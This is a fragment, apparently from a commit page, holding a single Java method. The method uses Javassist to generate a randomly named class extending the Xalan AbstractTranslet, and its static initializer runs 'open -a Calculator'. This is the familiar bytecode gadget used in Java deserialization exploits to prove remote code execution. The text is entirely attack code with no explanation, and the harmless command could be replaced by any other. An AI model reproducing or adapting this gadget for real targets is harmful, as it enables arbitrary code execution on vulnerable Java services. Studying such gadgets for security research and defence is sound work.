+ "code": " public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {\n ClassPool classPool = ClassPool.getDefault();\n // 生成一个随机的类名\n String randomClassName = \"Test_\" + UUID.randomUUID().toString().replace(\"-\", \"\");\n CtClass ctClass = classPool.makeClass(randomClassName);\n ctClass.setSuperclass(classPool.get(\"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet\"));\n String block = \"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");\";\n ctClass.makeClassInitializer().insertBefore(block);\n return ctClass.toBytecode();\n }",
0 commit comments